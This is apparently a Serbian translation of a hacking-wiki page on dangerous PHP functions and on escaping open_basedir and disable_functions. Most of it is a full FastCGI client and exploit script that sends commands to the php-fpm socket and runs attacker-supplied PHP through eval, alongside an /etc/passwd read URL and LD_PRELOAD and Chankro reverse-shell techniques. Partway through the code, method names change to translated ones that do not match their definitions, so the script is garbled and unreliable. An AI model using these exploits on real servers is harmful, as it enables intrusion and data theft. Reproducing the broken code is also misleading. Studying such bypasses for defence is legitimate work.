mail / mb_send_mail - Ova funkcija se koristi za slanje mejlova, ali može biti zloupotrebljena za ubacivanje proizvoljnih komandi unutar $options parametra. Ovo je zato što php mail funkcija obično poziva sendmail binarni fajl unutar sistema i dozvoljava vam da dodate dodatne opcije. Međutim, nećete moći videti izlaz iz izvršene komande, stoga se preporučuje kreiranje shell skripte koja upisuje izlaz u fajl, izvršava je koristeći mail, i prikazuje izlaz:
dl - Ova funkcija može se koristiti za dinamičko učitavanje PHP ekstenzije. Ova funkcija neće uvek biti prisutna, stoga treba proveriti da li je dostupna pre pokušaja iskorišćavanja. Pročitajte ovu stranicu da biste saznali kako iskoristiti ovu funkciju.
Izvršavanje PHP koda
Osim eval funkcije, postoje i drugi načini za izvršavanje PHP koda: include/require se mogu koristiti za udaljeno izvršavanje koda u obliku ranjivosti lokalnog uključivanja datoteke i udaljenog uključivanja datoteke.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Onemogućene funkcije su postavke koje se mogu konfigurisati u .ini fajlovima u PHP-u koje će zabraniti korišćenje naznačenih funkcija. Open basedir je postavka koja PHP-u pokazuje fasciklu kojoj može pristupiti.
PHP postavke treba konfigurisati na putanji /etc/php7/conf.d ili slično.
Obe konfiguracije mogu se videti u izlazu phpinfo():
open_basedir Bypass
open_basedir će konfigurisati fascikle kojima PHP može pristupiti, nećete moći pisati/čitati/izvršavati bilo koji fajl van tih fascikli, ali takođe nećete moći ni da vidite druge direktorijume.
Međutim, ako na neki način možete izvršiti proizvoljni PHP kod, možete pokušati sledeći deo koda kako biste zaobišli ograničenje.
Listing dirs with glob:// bypass
U ovom prvom primeru koristi se glob:// protokol sa nekim zaobilaznim putanjama:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Napomena1: U putanji takođe možete koristiti /e??/* da biste naveli /etc/* i bilo koji drugi folder.
Napomena2: Izgleda da je deo koda dupliciran, ali to je zapravo neophodno!
Napomena3: Ovaj primer je koristan samo za listanje foldera, a ne za čitanje fajlova
Ako želite da saznate više o PHP-FPM i FastCGI možete pročitati prvi deo ove stranice.
Ako je php-fpm konfigurisan, možete ga zloupotrebiti da potpuno zaobiđete open_basedir:
Imajte na umu da prvo što treba da uradite je da pronađete gde se nalazi unix socket php-fpm. Obično se nalazi u /var/run, tako da možete koristiti prethodni kod da biste naveli direktorijum i pronašli ga.
Kod preuzet sa ovde.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionzahtev(array $params, $stdin){$response ='';$this->povezi();$zahtev = $this->napraviPaket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsZahtev ='';foreach ($params as $kljuc => $vrednost) {$paramsZahtev .=$this->napraviNvpar(kljuc, $vrednost);}if ($paramsZahtev) {$zahtev .=$this->napraviPaket(self::PARAMS, $paramsZahtev);}$zahtev .=$this->napraviPaket(self::PARAMS,'');if ($stdin) {$zahtev .=$this->napraviPaket(self::STDIN, $stdin);}$zahtev .=$this->napraviPaket(self::STDIN,'');fwrite($this->_sock, $zahtev);do {$odgovor =$this->procitajPaket();if ($odgovor['type'] ==self::STDOUT || $odgovor['type'] ==self::STDERR) {$response .= $odgovor['content'];}} while ($odgovor && $odgovor['type'] !=self::END_REQUEST);var_dump($odgovor);if (!is_array($odgovor)) {thrownewException('Loš zahtev');}switch (ord($odgovor['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('Ova aplikacija ne može da multiplexuje [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('Novi zahtev odbijen; previše zauzeto [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Vrednost uloge nije poznata [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// pravi eksploataciju počinje ovdeif (!isset($_REQUEST['cmd'])) {die("Proverite vaš unos\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$zahtev ='/'.basename($filepath);$uri = $zahtev .'?'.'command='.$_REQUEST['cmd'];$klijent =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Ne radi ništa$php_vrednost ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_vrednost = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $zahtev,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $zahtev,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_vrednost,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Poziv: $uri\n\n";echo $klijent->zahtev($params, $code)."\n";?>
Ovi skriptovi će komunicirati sa unix socket-om php-fpm (obično smeštenim u /var/run ako se koristi fpm) kako bi izvršili proizvoljan kod. Postavke open_basedir će biti prebrisane atributom PHP_VALUE koji se šalje.
Primetite kako se koristi eval za izvršavanje PHP koda koji šaljete unutar parametra cmd.
Takođe primetite komentarisani red 324, možete ga odkomentarisati i opterećenje će automatski povezati sa datim URL-om i izvršiti PHP kod koji se tamo nalazi.
Jednostavno pristupite http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); da biste dobili sadržaj datoteke /etc/passwd.
Možda razmišljate da na isti način na koji smo prebrisali konfiguraciju open_basedir možemo prebrisati disable_functions. Pa, pokušajte, ali neće raditi, izgleda da disable_functions može biti konfigurisan samo u .ini php konfiguracionom fajlu i promene koje vršite koristeći PHP_VALUE neće biti efikasne na ovoj specifičnoj postavci.
Bypass disable_functions
Ako uspete da izvršite PHP kod unutar mašine, verovatno želite da odete na sledeći nivo i izvršite proizvoljne sistem komande. U ovoj situaciji je uobičajeno otkriti da su većina ili sve PHP funkcije koje omogućavaju izvršavanje sistemskih komandi onemogućene u disable_functions.
Dakle, pogledajmo kako možete zaobići ovu restrikciju (ako možete)
Zaobilaženje korišćenjem drugih sistemskih funkcija
Vratite se na početak ove stranice i proverite da li je bilo koja od funkcija za izvršavanje komandi dostupna u okruženju. Ako pronađete bar jednu od njih, moći ćete je koristiti za izvršavanje proizvoljnih sistemskih komandi.
LD_PRELOAD zaobilaženje
Dobro je poznato da neke funkcije u PHP-u poput mail() će izvršiti binarne datoteke unutar sistema. Stoga, možete ih zloupotrebiti koristeći promenljivu okruženja LD_PRELOAD da bi učitale proizvoljnu biblioteku koja može izvršiti bilo šta.
Funkcije koje se mogu koristiti za zaobilaženje disable_functions sa LD_PRELOAD
mail
mb_send_mail: Efikasno kada je instaliran modul php-mbstring.
imap_mail: Radi ako je prisutan modul php-imap.
libvirt_connect: Zahteva modul php-libvirt-php.
gnupg_init: Upotrebljivo sa instaliranim modulom php-gnupg.
new imagick(): Ova klasa može biti zloupotrebljena za zaobilaženje restrikcija. Detaljne tehnike eksploatacije mogu se pronaći u sveobuhvatnom izveštaju ovde.
Možete ovde pronaći skriptu za ispitivanje koja je korišćena za pronalaženje ovih funkcija.
Ovde je biblioteka koju možete kompajlirati da zloupotrebite LD_PRELOAD promenljivu okruženja:
Da biste iskoristili ovu konfiguraciju, možete koristiti Chankro. Ovo je alat koji će generisati PHP eksploit koji treba da otpremite na ranjivi server i izvršite ga (pristupite mu putem veba).
Chankro će upisati unutar diska žrtve biblioteku i obrnutu ljusku koju želite da izvršite i koristiće** trik LD_PRELOAD + PHP mail()** funkciju za izvršavanje obrnute ljuske.
Imajte na umu da bi se koristio Chankro, mail i putenvne smeju se pojaviti unutar liste disable_functions.
U sledećem primeru možete videti kako kreirati Chankro eksploit za arh 64, koji će izvršiti whoami i sačuvati izlaz u /tmp/chankro_shell.out, Chankro će upisati biblioteku i payload u /tmp i konačni eksploit će se zvati bicho.php (to je datoteka koju treba otpremiti na server žrtve):
#!/bin/shwhoami >/tmp/chankro_shell.out
Ovo je PHP trik zaobilaženja open_basedir ograničenja pomoću disable_functions. Kada su funkcije poput exec, shell_exec, popen, proc_open, symlink, dllink, link, system i passthru onemogućene, možete koristiti sledeći kod za izvršavanje sistemskih komandi:
Ovaj kod proverava da li je funkcija exec omogućena, a zatim je koristi za izvršavanje sistema komande "ls". Ako je funkcija exec onemogućena, možete probati sa drugim funkcijama koje nisu na listi onemogućenih funkcija.
Napomena: Ovo je samo demonstracija i ne preporučuje se korišćenje ovih tehnika bez odgovarajućeg ovlašćenja.
Imajte na umu da korišćenjem PHP-a možete čitati i pisati datoteke, kreirati direktorijume i menjati dozvole.
Čak možete i izbaciti baze podataka.
Možda korišćenjem PHP-a za enumeraciju kutije možete pronaći način za eskalaciju privilegija/izvršavanje komandi (na primer, čitanje nekog privatnog ssh ključa).
Ove funkcije prihvataju string parametar koji bi mogao biti korišćen za pozivanje funkcije po izboru napadača. Zavisno od funkcije, napadač može ili ne mora imati mogućnost prosleđivanja parametra. U tom slučaju, funkcija Otkrivanja informacija poput phpinfo() može biti korišćena.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Otkrivanje informacija
Većina ovih poziva funkcija nisu propusti. Ali može biti ranjivost ako je bilo koji od vraćenih podataka vidljiv napadaču. Ako napadač može videti phpinfo(), to je definitivno ranjivost.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Funkcije sistema datoteka
Prema RATS-u, sve funkcije sistema datoteka u php-u su zlonamerne. Neke od njih se ne čine vrlo korisnim napadaču. Druge su korisnije nego što možda mislite. Na primer, ako je allow_url_fopen=On, tada se URL može koristiti kao putanja do datoteke, pa se poziv na copy($_GET['s'], $_GET['d']); može koristiti za otpremanje PHP skripta bilo gde na sistemu. Takođe, ako je sajt ranjiv na zahtev poslat putem GET, svaka od ovih funkcija sistema datoteka može biti zloupotrebljena kako bi se kanalisao napad ka drugom hostu preko vašeg servera.
Pisanje u sistem datoteka (delimično u kombinaciji sa čitanjem)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir